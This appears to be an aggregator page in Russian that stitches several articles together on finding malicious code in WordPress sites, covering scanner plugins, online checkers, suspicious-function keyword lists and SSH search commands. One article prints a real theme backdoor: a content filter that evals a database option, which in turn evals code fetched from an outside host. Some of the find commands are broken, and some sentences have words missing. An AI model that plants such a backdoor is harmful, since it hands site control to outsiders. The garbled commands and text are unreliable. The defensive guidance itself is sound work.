Как найти вредоносный код в файле. Что такое вредоносный код

30.03.2019

Мы выпустили новую книгу «Контент-маркетинг в социальных сетях: Как засесть в голову подписчиков и влюбить их в свой бренд».

Подписаться

Вредоносный код - это код, который мешает нормальной работе сайта. Он может встраиваться в темы, базы данных, файлы и плагины.


Больше видео на нашем канале - изучайте интернет-маркетинг с SEMANTICA

Результатом работы вредоносного кода может стать удаление части полезного контента, или его публикация на стороннем ресурсе. Таким способом злоумышленники могут организовать кражу контента. Особенно обидно, если этому воздействию подвергся молодой ресурс с авторскими статьями. Может сложиться впечатление что это он своровал контент у более старшего ресурса.

Также вредоносный код может разместить в бесплатной теме скрытые ссылки на сторонние страницы, доступные для поисковиков. Не всегда эти ссылки будут вредоносны, но вес основного сайта гарантированно пострадает.

Общее назначение всех вредоносных кодов сводится к нарушению работы веб-страниц.

Внешне вредоносный код представляет собой хаотичный набор символов. В действительности за этой бессмыслицей скрывается зашифрованный код, содержащий последовательность команд.

Как вредоносный код попадает на сайт

Есть два способа, как на сайт может попасть вредоносный код.

1. Скачивание файлов и плагинов с сомнительных и ненадежных ресурсов. Чаще всего таким способам на сайт проникают зашифрованные ссылки. Явный код редко проникает на сайт этим путем.

2. с последующим проникновением . Этот способ считается более опасным, ведь взлом веб-страницы дает возможность передать не только "одноразовый" код, но и целые конструкции с элементами вредоносной программы (malware).

Такой код очень тяжело уничтожить, т.к. он может восстанавливаться после удаления.

Проверка сайта на вредоносный код

Следует помнить, что эти коварные конструкции могут появиться не только в активной теме, но и в любом файле ресурса. Существует несколько способов их поиска:

  • Вручную. Для этого нужно сравнить содержимое всех актуальных файлов с незараженными версиями бэкапа. Все что отличается необходимо удалить.
  • С помощью плагинов безопасности. В частности WordPress предлагает плагин Wordfence Security. У него есть опция сканирования файлов страницы на содержание постороннего кода.
  • С помощью саппорта хостинга. Владелец сайта имеет право обратиться к ним с просьбой просканировать ресурс своим антивирусом. В результате они предоставят отчет, отражающий наличие зараженных файлов. Эти файлы можно очистить от посторонних конструкций с помощью обычного текстового редактора.
  • Через SSH-доступ к сайту. Сам поиск осуществляется с помощью команд:

find /текущий каталог страницы -type f -iname "*" -exek -"eval" {} \; > ./eval.log

find /текущий каталог страницы -type f -iname "*" -exek-"base64" {} \; > ./base64.log

find /текущий каталог страницы -type f -iname "*" -exek -"file_get_contents" {} \; > ./file_get_contents.log

В результате их выполнения будет получена информация о подозрительных файлах. Перечень этих файлов запишется в лог, хранящийся в текущей директории.

  • Проверка сайта на вредоносный код с помощью функции eval. Эта php-функция запускает на выполнение любой, даже зашифрованный код. В качестве одного из аргументов, на вход этой функции подается тип кодировки (как правило это base64_decode или str_rot13). Именно благодаря использованию популярных кодировок вредоносный код выглядит как бессмысленный набор латинских символов.

Открываете редактор страницы.

Копируете в буфер содержимое файла functions.php.

Вставляете его в любой текстовый редактор (блокнот).

Находите команду eval.

  • Перед тем, как удалить вредоносный код, проанализируйте, какие параметры функция ожидает на вход. Т.к. параметры поступают в зашифрованном виде, их нужно расшифровать с помощью декодеков. Распознав входной параметр, вы можете принять решение о его дальнейшем нахождении в тексте файла functions.php.

Удаление вредоносного кода

После обнаружения вредоносного кода его просто необходимо удалить как обычную строку в текстовом файле.

Защита от вредоносного кода

Для того, чтобы предупредить появление вредоносного кода на сайте, необходимо соблюдать ряд профилактических мер.

Используйте только проверенное ПО:

  • Загружайте дистрибутивы только из надежных источников.
  • Во время запускайте обновление серверного ПО.
  • Совершайте регулярный аудит системы безопасности сервера.
  • Удаляйте устаревшие отладочные скрипты.

Ставьте на серверное ПО надежные пароли:

  • Придумайте конструкцию из 12 символов, включающую цифры и буквы разных регистров.
  • Для каждого из сервисов придумайте свой уникальный пароль.
  • Меняйте свои пароли раз в 3 месяца.

Осуществляйте контроль данных, вводимых пользователями:

  • Настройте фильтры HTML-разметки в полях ввода, содержимое которых попадет в код страницы.
  • Организуйте серверную проверку входных данных на соответствие допустимому интервалу.
  • Используйте WAF. Web Application Firewall - это мощный инструмент защиты сайта от хакерских атак.

Разграничивайте права доступа к своему ресурсу.

Заблокируйте или ограничьте доступ к инструментам администрирования движка вашего сайта и его баз данных. Кроме того, закройте доступ к файлам настроек и резервным копиям рабочего кода.

Такому проникновению вредоносного кода наиболее подвержены те сайты, на которых реализована возможность загрузки пользовательских файлов.

1. Организуйте защиту от ботов. Для этих целей многие CMS оснащены специальными плагинами;

2. Настройте проверку вводимых пользователями данных:

  • Запретите вставку JavaScript-кода внутри конструкции t>.
  • Ведите перечень безопасных HTML-тегов и отсеивайте конструкции, не вошедшие в этот список.
  • Анализируйте ссылки, которые присылают пользователи.
  • Для этого существуют специальные сервисы, например Safe Browsing API. Он позволяет проверить безопасность документа по URL.

Как предупредить случайное размещение вредоносного кода.

  • Тщательно следите за используемым ПО:

Загружайте библиотеки и расширения CMS только с проверенных источников, а лучше всего с официальных сайтов.

Изучайте код нестандартных расширений, которые вы собираетесь поставить на движок своего сайта.

  • Размещайте рекламу очень осторожно:

Публикуйте на своей площадке объявления, которые предлагают только надежные рекламодатели.

Старайтесь размещать на своей странице статический контент.

Остерегайтесь партнерских программ со скрытыми блоками.

WordPress - это самый популярный движок для создания различных информационных сайтов и блогов. Безопасность вашего сайта - это больше чем безопасность ваших данных. Это намного важнее, потому что это и безопасность всех пользователей, которые читают ваш ресурс и доверяют ему. Вот почему так важно чтобы сайт не был заражен вирусами или любым другим вредоносным кодом.

Как защитить WordPress от взлома мы рассмотрим в одной из следующих статей, а сейчас я хочу рассказать как проверить сайт WordPress на вирусы и вредоносный код, чтобы убедиться что все в безопасности.

Самый первый вариант, который приходит на ум - вас взломали хакеры и встроили в код вашего сайта свои бэкдоры, чтобы иметь возможность рассылать спам, ставить ссылки и другие плохие вещи. Так иногда случается, но это довольно редкий случай если вы вовремя обновляете программное обеспечение.

Существуют тысячи бесплатных тем для WordPress и различных плагинах и уже здесь может крыться угроза. Одно дело, когда вы скачиваете шаблон с сайта WordPress и совсем другое, когда находите на левом сайте. Недобросовестные разработчики могут встраивать различный вредоносный код в свои продукты. Еще больше риск, если вы скачиваете бесплатно премиум шаблоны, там взломщики уже ничем не рискуя могут добавить какую-нибудь дыру в безопасности, через которую потом смогут проникнуть и сделать то, что им нужно. Вот поэтому так важна проверка wordpress сайта на вирусы.

Проверка wordpress сайта на вирусы

Первое к чему нужно обратиться при проверке сайта не вирусы, это плагины WordPress. Быстро и просто вы можете сканировать свой сайт и найти подозрительные участки кода, на которые стоит обратить внимание, будь они в теме, плагине и самом ядре Wodpress. Рассмотрим несколько самых популярных плагинов:

1. TOC

Этот очень простой плагин проверяет все установленные на вашем сайте темы на предмет наличия в них вредоносного кода. Плагин выявляет скрытые ссылки, зашифрованные с помощью base64 вставки кода, а также выводит подробную информацию о найденных проблемах. Чаще всего, найденные части кода - это не вирусы, но они потенциально могут быть опасны, поэтому вам стоит обратить на них внимание.

Откройте "Внешний вид" -> "TAC" затем дождитесь пока все темы будут проверены.

2. VIP Scanner

Очень похожий на TOC сканер для тем, но выводит больше подробной информации. Те же самые возможности по обнаружению ссылок, скрытого кода и других вредоносных вставок. Просто откройте пункт VIP Scaner в разделе инструменты и анализируйте результат.

Возможно, достаточно удалить лишние файлы, например, desktop.ini. Или же нужно более подробно посмотреть что происходит в файлах использующих base64.

3. Anti-Malware from GOTMLS.NET

Этот плагин позволяет не только сканировать темы и ядро сайта на наличие вирусов, но и защищать сайт от перебора паролей и различных XSS, SQLInj атак. Поиск выполняется на основе известных сигнатур и уязвимостей. Некоторые уязвимости можно на месте устранять. Чтобы начать сканировать файлы откройте "Anti-Malvare" в боковом меню и нажмите "Run Scan" :

Перед тем как вы сможете запустить сканирование, нужно обновить базы данных сигнатур.

4. Wordfence

Это один из самых популярных плагинов для защиты WordPress и сканирования на наличие вредоносного кода. Кроме сканера, который может найти большинство закладок в коде WordPress, здесь есть постоянная защита от различных видов атак и перебора паролей. Во время поиска плагин находит возможные проблемы с различными плагинами и темами, сообщает о необходимости выполнить обновление WordPress.

Откройте вкладку "WPDefence" в боковом меню, а затем перейдите на вкладку "Scan" и нажмите "Start Scan" :

Сканирование может занять определенное время, но по завершении вы увидите подробный отчет об обнаруженных проблемах.

5. AntiVirus

Это еще один простой плагин, который просканирует ваш шаблон сайта на наличие вредоносного кода. Недостаток в том, что сканируется только текущий шаблон, но информация выводится достаточно подробно. Вы увидите все опасные функции, которые есть в теме и затем можете детально проанализировать представляют ли они какую-либо опасность. Найдите пункт "AntiVirus" в настройках, а затем нажмите "Scan the theme templates now":

6. Integrity Checker

Также желательно проверить целостность файлов WordPress, на случай, если вирус уже записался уже куда-нибудь. Для этого можно использовать плагин Integrity Checker. Он проверяет все файлы ядра, плагинов и шаблонов на изменения. В конце сканирования вы увидите информацию об измененных файлах.

Онлайн сервисы

Существует также несколько онлайн-сервисов, которые позволяют проверить сайт wordpress на вирусы или проверить только шаблон. Вот некоторые из них:

themecheck.org - вы загружаете архив темы и можете смотреть все предупреждения о возможных вредоносных функциях, которые в ней используются. Вы можете не только смотреть информацию о своей теме, но и о других темах, загруженных другими пользователями, а также о разных версиях темы. Все что находят плагины, может найти и этот сайт. Проверка wordpress темы тоже очень важна.

virustotal.com - всем известный ресурс, где вы можете проверить свой сайт или файл шаблона на вирусы.

ReScan.pro - проверка WordPress сайта на вирусы с помощью этого сервиса бесплатна, выполняется статический и динамический анализ, чтобы обнаружить возможные редиректы сканер открывает страницы сайта. Проверяет сайт по различным черным спискам.

sitecheck.sucuri.net - простой сервис для сканирования сайта и тем на вирусы. Есть свой плагин для WordPress. Обнаруживает опасные ссылки и скрипты.

Ручная проверка

Ничего не может быть лучше чем ручная проверка. В Linux есть такая замечательная утилита grep, которая позволяет искать вхождения произвольных строк в папке с файлами. Осталось понять что мы будем искать:

eval - эта функция позволяет выполнять произвольный php код, ее не используют уважающие себя продукты, если один из плагинов или тема используют эту функцию почти со стопроцентной вероятностью можно сказать, что там есть вирус;

  • base64_decode - функции шифрования могут использоваться вместе с eval, чтобы спрятать вредоносный код, но они могут применяться и в мирных целях, так что будьте внимательны;
  • sha1 - еще один метод шифрования вредоносного кода;
  • gzinflate - функция сжатия, те же цели, вместе с eval, например, gzinflate(base64_decode(код);
  • strrev - переворачивает строку задом не перед, как вариант может использоваться для примитивного шифрования;
  • print - выводит информацию в браузер, вместе с gzinflate или base64_decode опасно;
  • file_put_contents - сам WordPress или плагины еще могут создавать файлы в файловой системе, но если это делает тема, то уже стоит насторожиться и проверить зачем ей это, так могут устанавливаться вирусы;
  • file_get_contents - в большинстве случаев используется в мирных целях, но может использоваться для загрузки вредоносного кода или чтения информации из файлов;
  • curl - та же история;
  • fopen - открывает файл для записи, мало ли для чего;
  • system - функция выполняет команду в системе Linux, если это делает тема, плагин или сам wordpress, скорее всего, там вирус;
  • symlink - создает символические ссылки в системе, возможно, вирус пытается сделать основную файловую систему доступной из вне;
  • copy - копирует файл с одного места в другое;
  • getcwd - возвращает имя текущего рабочего каталога;
  • cwd - изменяет текущую рабочую папку;
  • ini_get - получает информацию о настройках PHP, чаще в мирных целях, но мало ли;
  • error_reporting(0) - отключает вывод любых сообщений об ошибках;
  • window.top.location.href - javascript функция, используемая для редиректов на другие страницы;
  • hacked - так, на всякий случай, проверяем, вдруг, хакер сам нам решил рассказать.

Вы можете подставлять каждое отдельное слово в такую команду:

grep -R "hacked" /var/www/путь/к/файлам/wordpress/wp-content/

Или же использовать простой скрипт, который будет искать все слова за раз:

values="base64_decode(
eval(base64_decode
gzinflate(base64_decode(
getcwd();
strrev(
chr(ord(
cwd
ini_get
window.top.location.href
copy(
eval(
system(
symlink(
error_reporting(0)
print
file_get_contents(
file_put_contents(
fopen(
hacked"

cd /var/www/путь/к/файлам/wordpress/wp-content/
$ fgrep -nr --include \*.php "$values" *

Вредоносный код попадает на сайт по неосторожности или злому умыслу. Назначения вредоносного кода различны, но, по сути, он наносит вред или мешает нормальной работы сайта. Чтобы убрать вредоносный код на WordPress его нужно сначала, найти.

Что такое вредоносный код на сайте WordPress

По внешнему виду, чаще всего, вредоносный код это набор букв и символов латинского алфавита. На самом деле это зашифрованный код, по которому исполняется, то или иное действие. Действия могут быть самые различные, например, ваши новые посты, сразу публикуются на стороннем ресурсе. По сути это кража вашего контента. Есть у кодов и другие «задачи», например, размещение исходящих ссылок на страницах сайта. Задачи могут самые изощренные, но понятно одно, что за вредоносными кодами нужно охотиться и удалять.

Как попадают вредоносные коды на сайт

Лазейки для попадания кодов на сайт, также множество.

  1. Чаще всего, это темы и плагины скачанные с «левых» ресурсов. Хотя, такое проникновение характерно для, так называемых, зашифрованных ссылок. Явный код так не попадает на сайт.
  2. Проникновение вируса при взломе сайта, самое опасное. Как правило, взлом сайта позволяет разместить не только «одноразовый код», но установить код с элементами malware (вредоносной программы). Например, вы находите код, и удаляет его, а он восстанавливается, через некоторое время. Вариантов, опять — таки множество.

Сразу замечу, борьба с такими вирусами трудная, а ручное удаление требует знаний. Есть три решения проблемы: первое решение – использовать плагины анитвирисники, например, плагин под названием BulletProof Security .

Такое решение дает хорошие результаты, но требует времени, хотя и небольшого. Есть более радикальное решение, избавления от вредоносных кодов, включая сложные вирусы, это восстановить сайт из заранее сделанных резервных копий сайта.

Так как, хороший веб-мастер делает периодически, то откатиться на не зараженную версию, получится без проблем. Третье решение для богатых и ленивых, просто обращаетесь в специализированную «контору» или специалисту индивидуалу.

Как искать вредоносный код на WordPress

Важно понимать, что вредоносный код на WordPress может быть в любом файле сайта, и не обязательно в рабочей теме. Он может занестись с плагином, с темой, с «самодельным» кодом взятого из Интернет. Попробовать найти вредоносный код можно несколькими способами.

Способ 1. Вручную. Листаете все файлы сайта и сравниваете их с файлами незараженного бэкапа. Находите чужой код – удаляете.

Способ 2. С помощью плагинов безопасности WordPress. Например, . У этого плагина есть замечательная функция, сканирование файлов сайта на наличие чужого кода и плагин прекрасно справляется с этой задачей.

Способ 3. Если у вас, разумный support хостинга, и вам кажется, что на сайте «чужой», попросите их просканировать ваш сайт своим антивирусом. В их отчете будет указаны все зараженные файлы. Далее, открываете эти файлы в текстовом редакторе и удаляете вредоносный код.

Способ 4. Если вы можете работать с SSH доступом к каталогу сайта, то вперед, там своя кухня.

Важно! Каким бы способом вы не искали вредоносный код, перед поиском и последующим удалением кода, закройте доступ к файлам сайта (включите режим обслуживания). Помните про коды, которые сами восстанавливаются при их удалении.

Поиск вредоносных кодов по функции eval

Есть в php такая функция eval . Она позволяет исполнять любой код в ее строке. Причем код может быть закодирован. Именно из-за кодировки вредоносный код выглядит, как набор букв и символов. Популярны две кодировки:

  1. Base64;
  2. Rot13.

Соответственно в этих кодировках функция eval выглядит так:

  • eval (base64_decode (...))
  • eval (str_rot13 (...)) //во внутренних кавычках, длинные не понятные наборы букв и символов..

Алгоритм поиска вредоносного кода по функции eval следующий (работаем из административной панели):

  • идёте в редактор сайта (Внешний вид→Редактор).
  • копируете файл functions.php .
  • открываете его в текстовом редакторе (например, Notepad++) и по поиску ищите слово: eval .
  • если нашли, не спешите ничего удалять. Нужно понять, что эта функция «просит» исполнить. Чтобы это понять код нужно раскодировать. Для раскодирования есть онлайн инструменты, называемые декодеры.

Декодеры/Кодеры

Работают декодеры просто. Копируете код, который нужно расшифровать, вставляете в поле декодера и декодируете.

На момент написания статьи я не нашел у себя ни одного зашифрованного кода найденного в WordPress. Нашел код с сайта Joomla. В принципе разницы для понимания раскодирования нет. Смотрим фото.

Как видите на фото, функция eval после раскодирования, вывела не страшный код, угрожающий безопасности сайта, а зашифрованную ссылку копирайта , автора шаблона. Его тоже можно удалить, но он вернется после обновления шаблона, если вы не используете .

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

Каждый вебмастер сталкивался с проблемой поиска уязвимых мест своего сайта, с помощью которых злоумышленник может загрузить свой вредоносный код, который так или иначе повлияет на работоспособность всего сайта, вплоть до его исключения из поисковой выдачи.

Чаще всего заражение происходит из-за человеческого фактора, но что делать, если сайт все-таки взломан?

Основные проблемы

Меньшее из зол - это найти и удалить сам вредоносный код. Основная же проблема заключается в поиске того уязвимого места, через которое злоумышленник загрузил свой код на ваш сайт, чтобы обезопасить себя от следующих подобных прецедентов.

Для поиска вредоносного кода написано немало антивирусных программ, создано много сервисов, которые могут указать на адрес зараженной страницы, предоставив даже сигнатуру и исчерпывающую информацию о самом вирусе. Но ни одно программное обеспечение не сможет сказать Вам, как этот «чужой код» появился на сайте. Здесь стоит полагаться только на себя.

Ниже я приведу несколько команд, которые можно применять при поиске зараженных файлов и/или загруженных к Вам на сайт shell-ов/backdoor-ов. Для этого нам потребуется программа Putty и SSH-доступ к сайту.

Поиск зараженных файлов

С помощью нижеперечисленных команд можно найти файлы, содержащие «опасные» элементы, с помощью которых злоумышленник может выполнить вредоносный обфусицированный код.

Вывод файлов будет записан в лог-файл в вашей текущей директории. В каждом файле будет содержаться путь к найденному файлу и строка с подозрительным участком кода.

find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "eval" {} \; > ./eval.log
find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "base64" {} \; > ./base64.log
find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "file_get_contents" {} \; > ./file_get_contents.log

Поиск директорий с полными правами на запись

Следующая команда выводит список директорий, на которых установлены полные права на запись. Именно такие директории используют для заражения сайта.

find ./Каталог с сайтом -perm 777 -type d

Поиск измененных файлов за период

Если Вы знаете когда примерно произошло заражение, можно посмотреть список измененных файлов за последние несколько дней (параметр –mtime -7 указывает на дату изменения отличную от текущей за 7 прошлых дней)

find ./Каталог с сайтом -type f -iname "*" -mtime -7

Что делать, если сайт заражен?

Итак, предположим, что мы нашли зараженные файлы или shell-файл. Перед тем как его удалить/удалить из него вредоносный код, запомните его имя (полный путь), дату изменения/создания файла, его gid и id пользователя (для unix систем), это позволит найти способ его загрузки к нам на сайт. Начнем с пользователя и группы:

Посмотрите, от какого пользователя работает Ваш web-сервер:

ps -aux | grep "apache2" | awk {"print $1"}


Если этот пользователь совпадает с пользователем, создавшим вредоносный файл, то можно предположить, что он был загружен через сам сайт. Если же нет – файл могли загрузить через ftp (мы настоятельно рекомендуем изменить пароли к FTP-серверу и административной панели сайта).

cat ./site.ru.access.log | grep “имя filenameOfShellScript”


И получаем вывод всех запросов к нашему скрипту. По нему определяем userAgent и ip адрес нашего взломщика.

Следующей командой мы получаем список всех запросов, на которые он к нам заходил.

cat ./site.ru.access.log | grep “ip” | grep “userAgent”


Внимательно его проанализировав можно найти уязвимое место на сайте, следует обратить особое внимание на POST-запросы из вывода, с помощью которых мог быть залит вредоносный файл.

Ижаковский Андрей, системный администратор